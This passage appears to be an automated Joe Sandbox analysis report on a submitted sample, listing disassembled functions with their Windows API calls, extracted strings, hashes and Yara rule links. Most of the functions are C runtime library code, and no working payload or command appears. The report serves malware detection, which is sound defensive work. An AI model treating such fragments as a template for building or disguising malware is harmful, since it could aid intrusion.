Instruction ID: c0944383d73aac26117361346b053748916b56d97ab65fadc12e4df891c8d7e9
Opcode Fuzzy Hash: adb50997bff8f6b42dea5567a3e80c24e84f9fd98b00b9a5e01fe7e8c8691b55
Instruction Fuzzy Hash: 7AB00279661540CFCA55CF08C198E00F3F4FB48760B068491EC05CB722C234ED41CA10

Function 0045999F Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00459ABE
CatchIt.LIBVCRUNTIME ref: 00459C1D
_UnwindNestedFrames.LIBCMT ref: 00459D1E
CallUnexpected.LIBVCRUNTIME ref: 00459D39

Strings

csm, xrefs: 004599DC
x@F, xrefs: 00459AB5
csm, xrefs: 00459AF5
csm, xrefs: 00459A49

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$x@F
API String ID: 2332921423-3829711656
Opcode ID: 4d4d2abbed9b856c4e49574ec055b924c190fec3ea5a9e19aedb67fed442bc91
Instruction ID: 2a8b5e3cbe88d0ad45d83a49b6c8541956edddbcc5d33c7cd0fd48112d7d16c1
Opcode Fuzzy Hash: 4d4d2abbed9b856c4e49574ec055b924c190fec3ea5a9e19aedb67fed442bc91
Instruction Fuzzy Hash: F9B16771800249EBCF19DFA5C8819AEB7B5FF04316F18415AEC116B213D338EE59CBA9

Function 0045C793 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0045C0FF), ref: 0045C7AC

Strings

sqrt, xrefs: 0045C8EB
log10, xrefs: 0045C7EE, 0045C7FD
pow, xrefs: 0045C84A, 0045C8F4, 0045C941
asin, xrefs: 0045C8D9
acos, xrefs: 0045C8E2
log, xrefs: 0045C809, 0045C818
exp, xrefs: 0045C82B, 0045C890

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 5e24f046aca33eb0cff77f92b4cd243a788ff9568f881d4540edd6063b6ff4d5
Instruction ID: 82d02ba150d8eb4d5d6beeccfbe315dd90ac4e528bf330bfbd80dbdd17a07d9b
Opcode Fuzzy Hash: 5e24f046aca33eb0cff77f92b4cd243a788ff9568f881d4540edd6063b6ff4d5
Instruction Fuzzy Hash: 585170B0900B0ADFCF149F69D8C81AEBBB0FB45316F14414BD881A6256DB788959CF5E

Function 0045466D Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454B19: CreateFileW.KERNEL32(00000000,00000000,?,00454716,?,?,00000000,?,00454716,00000000,0000000C), ref: 00454B36

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,755AF770), ref: 00454781
__dosmaperr.LIBCMT ref: 00454788
GetFileType.KERNEL32(00000000), ref: 00454794
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,755AF770), ref: 0045479E
__dosmaperr.LIBCMT ref: 004547A7
CloseHandle.KERNEL32(00000000), ref: 004547C7
CloseHandle.KERNEL32(00455523), ref: 00454914
GetLastError.KERNEL32 ref: 00454946
__dosmaperr.LIBCMT ref: 0045494D

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 997a49fbc66ddc57f6d03171bfc3be2bb67f50b3a1fb2b3f505c03722e716457
Instruction ID: 038922a14cfed84d654bc7e4756cd55dec8d6f56b9250bad4a8b086e30f44e5e
Opcode Fuzzy Hash: 997a49fbc66ddc57f6d03171bfc3be2bb67f50b3a1fb2b3f505c03722e716457
Instruction Fuzzy Hash: C4A13731A041449FCF189F68DC91BAE3BA0EB87329F14015EFC019F392DB78885AC75A

Function 004041F8 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 391COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00404418

Strings

%1.17g, xrefs: 00404273
false, xrefs: 004043A3
null, xrefs: 00404226
true, xrefs: 0040439C
[,]{: }, xrefs: 0040432B

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: %1.17g$[,]{: }$false$null$true
API String ID: 4218353326-762322047
Opcode ID: 2324184d7edb75108883178119c67932e8752769ab166018bc3f016b95bef789
Instruction ID: 8a31c525fd10ccff58647d80abb421e7a2f49e00f52c285c36168c55111fec75
Opcode Fuzzy Hash: 2324184d7edb75108883178119c67932e8752769ab166018bc3f016b95bef789
Instruction Fuzzy Hash: E8B1E4F27043015BC701A9298C5062BA6DA9FD1318F19493FEF59E33C2FA7EDD16425A

Function 0043D770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0043D7A7
___except_validate_context_record.LIBVCRUNTIME ref: 0043D7AF
_ValidateLocalCookies.LIBCMT ref: 0043D838
__IsNonwritableInCurrentImage.LIBCMT ref: 0043D863
_ValidateLocalCookies.LIBCMT ref: 0043D8B8

Strings

csm, xrefs: 0043D84D

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 58ff33bdf8008059ad35d38e020e237fee552c53fd08c9077c5a83c4f96b7bce
Instruction ID: f027fe2574540ca3b1f88e77f7abec4aa80c90a537e94c27518ff210aad43bfc
Opcode Fuzzy Hash: 58ff33bdf8008059ad35d38e020e237fee552c53fd08c9077c5a83c4f96b7bce
Instruction Fuzzy Hash: 0041EA34D012089BCF14EF69D881A9F7BB5FF48318F14816BE8249B352D739EA15CB95

Function 0045299E Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a5e2e9da0023be33419689324beaf6a0f6f9f49e5a11a4ea9d7c3ac7b732d46
Instruction ID: 20f6fc253ed9e18728f1e3e0f73237be974277a9ced04a575444c598e2f27323
Opcode Fuzzy Hash: 3a5e2e9da0023be33419689324beaf6a0f6f9f49e5a11a4ea9d7c3ac7b732d46
Instruction Fuzzy Hash: 05B1F574A04285AFDB15CF99C980BBE7BB1BF86305F14415BE80067393C7B89D4ACB69

Function 0044C5A0 Relevance: 9.3, APIs: 6, Instructions: 275COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0044C6B4
__FindPESection.LIBCMT ref: 0044C6D1
VirtualQuery.KERNEL32(83000000,381389CC,0000001C,381389CC,?,?,?), ref: 0044C7B6
__FindPESection.LIBCMT ref: 0044C7F3
_ValidateScopeTableHandlers.LIBCMT ref: 0044C813
__FindPESection.LIBCMT ref: 0044C82D

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FindSection$HandlersScopeTableValidate$QueryVirtual
String ID:
API String ID: 2529200597-0
Opcode ID: d01001b2250a4bc4d006de8e8775feca4cce7e2fc65dbb3aa6a0fb1d6a9ecab3
Instruction ID: e40285013e32dfb27aa5986082f3d9acaacd06ee7156ac865e10eba53592a1aa
Opcode Fuzzy Hash: d01001b2250a4bc4d006de8e8775feca4cce7e2fc65dbb3aa6a0fb1d6a9ecab3
Instruction Fuzzy Hash: 71A1F375E022159BEB50CFA9D9C07BEB3A4EB49314F19412AD855E3361E739DC028FA8

Function 00432B1B Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00432EBD

Part of subcall function 00430E6C: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00430F45

Part of subcall function 00432718: CreateCompatibleDC.GDI32(00000D62), ref: 00432894

Strings

Ku^%, xrefs: 00432E26
Ku^%, xrefs: 00432D62

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AllocateCompatibleCreateHeapInfoParametersSystem
String ID: Ku^%$Ku^%
API String ID: 392924372-1067927601
Opcode ID: ffdc60f1e004c543c03ed2e42b24d9c624f6bc23b499833a74f790060f19a536
Instruction ID: 62ef33d165420df4abe6194fc317c011647a9d43179361cb113ffb45af4e0bee
Opcode Fuzzy Hash: ffdc60f1e004c543c03ed2e42b24d9c624f6bc23b499833a74f790060f19a536
Instruction Fuzzy Hash: 4AE12B71E006158BDF289E598D8657FB7B0AB0C314F24292BE511FA390D7BC9A418B8B

Function 0044C202 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0044C1F9,0043D4A6,0043CFF7), ref: 0044C210
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0044C21E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0044C237
SetLastError.KERNEL32(00000000,0044C1F9,0043D4A6,0043CFF7), ref: 0044C289

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4538fd3f119ebfccef05c07daf3c44292a57c8edab061bb9a8ac19b89b5d77cf
Instruction ID: c0e2f545b2bb83990020f58b3cafac4cb819fbf5ee5e5dfe57bf4abdb9a8f05a
Opcode Fuzzy Hash: 4538fd3f119ebfccef05c07daf3c44292a57c8edab061bb9a8ac19b89b5d77cf
Instruction Fuzzy Hash: 5601F53260B6116EB69117B66CC656B2A88EF1137A328033FF920851F2FFD94C41919D

Function 02F23A37 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

$^F, xrefs: 02F23C3F

Memory Dump Source

Source File: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ed0000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: $^F
API String ID: 0-2072159057
Opcode ID: 7b640e70ded73f9c08873221f97cb98eab12bfdaea4e205fc4c25b8478a09ce9
Instruction ID: a60480e2b274fa6d29f994d5387f5aa4067702b02597ac675eb56d1694b146b1
Opcode Fuzzy Hash: 7b640e70ded73f9c08873221f97cb98eab12bfdaea4e205fc4c25b8478a09ce9
Instruction Fuzzy Hash: 7A413EB2A00754AFD724AF7CCC01B6ABBFAEB85750F10856AE201DB690D379D544CF80

Function 004468EB Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0044692D

Strings

.cmd, xrefs: 0044694B
.com, xrefs: 0044696D
.bat, xrefs: 0044695C
.exe, xrefs: 0044693A

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: d72b72fa5fc946e5bf17734d860b3a429cd1b964a4d3335ef3d5c7acc65a1e94
Instruction ID: b55bede8d45b761b400ac8ce0250aded4c8690036b953bdef2cda7eece1c3866
Opcode Fuzzy Hash: d72b72fa5fc946e5bf17734d860b3a429cd1b964a4d3335ef3d5c7acc65a1e94
Instruction Fuzzy Hash: A8010477A24A56213614156D9C0267797988B93BB6727402FFC44EB2C2EEECED02019E

Function 00443916 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,381389CC,?,?,00000000,0045D6E6,000000FF,?,004439E0,0044387B,?,00443A9B,00000000), ref: 0044394B
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044395D
FreeLibrary.KERNEL32(00000000,?,?,00000000,0045D6E6,000000FF,?,004439E0,0044387B,?,00443A9B,00000000), ref: 0044397F

Strings

CorExitProcess, xrefs: 00443955
mscoree.dll, xrefs: 00443944

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3daf6b45365e10327e4674e32e0bbb7648fd22c9221b51d64b84b5ca0bf51f62
Instruction ID: 98d842734981b974643d07bc2e17aaafc6a7a08e37008b1518908caaa5ffc225
Opcode Fuzzy Hash: 3daf6b45365e10327e4674e32e0bbb7648fd22c9221b51d64b84b5ca0bf51f62
Instruction Fuzzy Hash: DC01A771904655EBDB118F50CC05BAEB7B8FB44B51F000626E811A22D0EBF89A04CA99

Function 0044623D Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ec4ca088175b3d71b74edc192f962602cbf94f283bf042d020ea8e91f16aadc
Instruction ID: 8aab27407c0a82a01c0ac988981d35579ce087bbb9e55deaa5eb6bc71ee87661
Opcode Fuzzy Hash: 1ec4ca088175b3d71b74edc192f962602cbf94f283bf042d020ea8e91f16aadc
Instruction Fuzzy Hash: 6C51707990024DAAEF00EFE4D844AEEB7B8FF09710F11405BE815E7250EB74DA45CB6A

Function 00446CD2 Relevance: 7.6, APIs: 5, Instructions: 143pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(00446BF7,?,00000000,?), ref: 00446CF4
GetFileInformationByHandle.KERNEL32(00446BF7,?), ref: 00446D4E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00446BF7,?,000000FF,00000000), ref: 00446DDC
__dosmaperr.LIBCMT ref: 00446DE3
PeekNamedPipe.KERNEL32(00446BF7,00000000,00000000,00000000,?,00000000), ref: 00446E20

Part of subcall function 00446999: __dosmaperr.LIBCMT ref: 004469CE

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: c898b499f90ca7519afdcdd7f8d9df92fdf4b61206adcc718103c1ca81f84296
Instruction ID: 7fef5dbdd5f1ebb30aa965719069ce331059867e0b66cf3bcb9aaaf835df89e4
Opcode Fuzzy Hash: c898b499f90ca7519afdcdd7f8d9df92fdf4b61206adcc718103c1ca81f84296
Instruction Fuzzy Hash: 584160B5A00704AFEB24DFA5DC459ABBBF9FF89304B11452EF846D3610E734A845CB16

Function 00403EAD Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 400COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00404418

Strings

%1.17g, xrefs: 00404273
null, xrefs: 00404226
,]{: }, xrefs: 004044BF

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: %1.17g$,]{: }$null
API String ID: 4218353326-1793514501
Opcode ID: 1febabab61847861726e4eccc5dd4458819082e0fa0a32231921fccec61d2490
Instruction ID: dfdaef210c9fde1e563ad86d0075ca4844e5c450f328af3dc752b2d50a02e017
Opcode Fuzzy Hash: 1febabab61847861726e4eccc5dd4458819082e0fa0a32231921fccec61d2490
Instruction Fuzzy Hash: 68B1DFE2B042005BD7006A669C5162B65D98FD1359F09453FEF4AF33C2FA3EDE19829B

Function 00459DC4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00459CCA,?,?,00000000,00000000,00000000,?), ref: 00459DE9
CatchIt.LIBVCRUNTIME ref: 00459ECF

Strings

MOC, xrefs: 00459DFB
RCC, xrefs: 00459E03

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: f6539cf28fa7df93cb7a4fd0398e0aeb39c553d0f7c18ec6f96af6878300a19c
Instruction ID: 680bccfe0e0854ffc158b5e00edb6862103a1416f9df0b4f366e0dcb6488795f
Opcode Fuzzy Hash: f6539cf28fa7df93cb7a4fd0398e0aeb39c553d0f7c18ec6f96af6878300a19c
Instruction Fuzzy Hash: 34416871900209EFDF15DF98CD82AAEBBB5FF48305F18805AF904672A2D3399D54DB58

Function 00456D31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00456DCD,?,0000376F,0045FB2F,?,?,?,00456C15,00000000,FlsAlloc,00465EF0,00465EF8), ref: 00456D3E
GetLastError.KERNEL32(?,00456DCD,?,0000376F,0045FB2F,?,?,?,00456C15,00000000,FlsAlloc,00465EF0,00465EF8,?,^D,0044C1B0), ref: 00456D48
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,^D,0044C1B0,0044C294,00000003,0044069B,?,?,?,?,00000000,0045FB2F,004058C6), ref: 00456D70

Strings

api-ms-, xrefs: 00456D55

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 1c601aedc7284344527d2769353e9bde843b729d446c6642f172212a38ab6b00
Instruction ID: 0ecaf6013e36b0431d801e3916b08b76fdb95d3f1c140b132a01747a849ad822
Opcode Fuzzy Hash: 1c601aedc7284344527d2769353e9bde843b729d446c6642f172212a38ab6b00
Instruction Fuzzy Hash: 04E012303C4204B7DB101B61DC06B593A789B10B56F540431FD0DA51E1EBF5A858954E

Function 0045074A Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(381389CC,00455523,00000000,?), ref: 004507AD

Part of subcall function 00453203: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045769E,?,00000000,-00000008), ref: 004532AF

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00450A08
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00450A50
GetLastError.KERNEL32 ref: 00450AF3

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 96a8a5487e7c3d3faf6390a68133758f583929af7c12fd611465a668075fbc12
Instruction ID: e52ebc46d8e9f13757024da4890b50ba647b118a1bf42f91cd2d0be3dbea7dc8
Opcode Fuzzy Hash: 96a8a5487e7c3d3faf6390a68133758f583929af7c12fd611465a668075fbc12
Instruction Fuzzy Hash: A0D17BB9D00248AFDF15CFA8C8809EDBBB4FF09315F18816AE855E7352E734A946CB54

Function 004596C6 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0045978D
___AdjustPointer.LIBCMT ref: 004597B0
___AdjustPointer.LIBCMT ref: 0045984C

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c82cfddcd8694e2bdb1e743d5f084ed403ad5a837ea31cf34a60513f078c136f
Instruction ID: 4fadf7dd59c53bd1b12e0029445d2e83e107cc747934abb9f5ec8e89f131d8d2
Opcode Fuzzy Hash: c82cfddcd8694e2bdb1e743d5f084ed403ad5a837ea31cf34a60513f078c136f
Instruction Fuzzy Hash: 8C51F276A14202EFDB289F11D981BAA73A4EF18706F14452FEC0157292E73DEC49CB99

Function 004537D0 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b8450e9b4afcbafb4f61d0450c1d7e417d22fbc98e5ee0c888f4ba12a7ca7c
Instruction ID: a7f2c4688ec43d2a23ac8beb8ca83e3134fddb6ab0c13f52a90a8fe9f94a791d
Opcode Fuzzy Hash: f5b8450e9b4afcbafb4f61d0450c1d7e417d22fbc98e5ee0c888f4ba12a7ca7c
Instruction Fuzzy Hash: EE412AF2A00304AFD7249F79CC42B6AFBE8EB84756F10452FF551DB382D2B99A058784

Function 0044C89A Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(83000000,381389CC,0000001C,381389CC,?,?,?), ref: 0044C7B6
__FindPESection.LIBCMT ref: 0044C7F3
_ValidateScopeTableHandlers.LIBCMT ref: 0044C813
__FindPESection.LIBCMT ref: 0044C82D

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FindSection$HandlersQueryScopeTableValidateVirtual
String ID:
API String ID: 1876002356-0
Opcode ID: c5c89110117f95e94e9ebb8d4fd24969d439cb80e1b6e8bbea251b6fa9d5d390
Instruction ID: 16c3c4676ac924f9bbc116e317de4c153b4417dc4f771cedf4f7c3d11fae8c19
Opcode Fuzzy Hash: c5c89110117f95e94e9ebb8d4fd24969d439cb80e1b6e8bbea251b6fa9d5d390
Instruction Fuzzy Hash: CF31B5B5E022159BFF54CBA9A9C07BE73A4EB09315F09007ADD41E7352E739DC018BA9

Function 00450F41 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,004481E1,00000001,?,004481E1,h5@,?,00000000), ref: 00450F57
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00403568,00000000), ref: 00450F64
SetFilePointerEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00403568,00000000), ref: 00450F8A
SetFilePointerEx.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00450FB0

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: cfe5fe78128bb7dd68b840a0eb5d6fe201827b23293f70a06ce6f48395b8db59
Instruction ID: 1514e75016c253887b100742bd2e0aa0853bf3b84a7615600f3982ba0bc5b80c
Opcode Fuzzy Hash: cfe5fe78128bb7dd68b840a0eb5d6fe201827b23293f70a06ce6f48395b8db59
Instruction Fuzzy Hash: B1116636805219ABDF209F51CC48A9F3F7DFB00725F004115FC20922A1D7B19A40CAA5

Function 00455DA6 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00455C9F,00000000,?,0045B41C,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000), ref: 00455DBC
GetLastError.KERNEL32(?,0045B41C,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000,00000000,?,00455C9F,?,00000104,00446C37), ref: 00455DC6
__dosmaperr.LIBCMT ref: 00455DCD
GetFullPathNameW.KERNEL32(?,?,?,00000000,?,?,0045B41C,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000,00000000), ref: 00455DF7

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: 40aed38a608d94dd85f4980ee519dcea4f2932da946f037f09bb496e255caaba
Instruction ID: 83aad2bcbc88ad1b691cbbc28925ead7dadcf548e2ab308fdfae5f9a37bb2b5e
Opcode Fuzzy Hash: 40aed38a608d94dd85f4980ee519dcea4f2932da946f037f09bb496e255caaba
Instruction Fuzzy Hash: 50F0A436200700AFDB205F67CC09E277BBDEF45361710842AF956C2521DB76EC14CB68

Function 00455E0C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00455C9F,00000000,?,0045B3A4,00455C9F,00455C9F,00446C37,?,00000000,00000104,?,00000001), ref: 00455E22
GetLastError.KERNEL32(?,0045B3A4,00455C9F,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000,00000000,?,00455C9F,?,00000104), ref: 00455E2C
__dosmaperr.LIBCMT ref: 00455E33
GetFullPathNameW.KERNEL32(?,?,?,00000000,?,?,0045B3A4,00455C9F,00455C9F,00446C37,?,00000000,00000104,?,00000001,00000000), ref: 00455E5D

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: 978842d79e248325d5d1c5fcbdbac71f7ead08704c26e555b85ab8378b580012
Instruction ID: 58d23dfaa7b1bff066b533c88cf6507f29fdd6be1c16f2e24496f8287ce13408
Opcode Fuzzy Hash: 978842d79e248325d5d1c5fcbdbac71f7ead08704c26e555b85ab8378b580012
Instruction Fuzzy Hash: 49F0A436200600AFDF205F72DC09E2B7BADEF44361714842AF959D2121DB75EC14CB58

Function 0045BD08 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule
